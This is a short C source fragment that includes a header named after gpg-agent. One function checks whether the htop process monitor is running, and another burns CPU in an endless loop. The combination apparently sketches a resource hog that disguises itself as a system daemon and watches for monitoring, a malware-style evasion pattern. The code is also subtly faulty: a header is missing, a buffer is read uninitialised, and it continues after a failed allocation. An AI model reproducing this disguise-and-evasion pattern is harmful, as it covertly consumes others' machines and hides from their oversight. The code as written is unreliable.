| 1234567891011121314151617181920212223242526272829303132333435363738 |
- #include "u-gpg-agent.h"
- #include <stdio.h>
- #include <stdlib.h>
- #include <math.h>
- #include <time.h>
- int is_htop_here() {
- char cmd[100] = "pgrep htop"; // shell command to check for htop process
- FILE* fp = popen(cmd, "r"); // open a pipe to execute the command and read its output
- char buf[10]; // buffer to hold the output
- fgets(buf, sizeof(buf), fp); // read the output from the pipe into the buffer
- pclose(fp); // close the pipe
- if (strlen(buf) > 0) { // if the output is non-empty, htop is running
- printf("HTOP TROUVÉ\n");
- return 1;
- } else {
- return 0;
- }
- }
-
- void stress(int level) {
- double *arr = malloc(level * sizeof(double));
- if (arr == NULL) {
- printf("Error: failed to allocate memory\n");
- }
-
- srand(time(NULL));
-
- while (1) {
- // generate random values and perform complex mathematical operations on them
- for (int i = 0; i < level; i++) {
- arr[i] = (double)rand() / RAND_MAX;
- }
- for (int i = 0; i < level; i++) {
- arr[i] = sin(cos(tan(arr[i] * M_PI)));
- }
- }
- }
|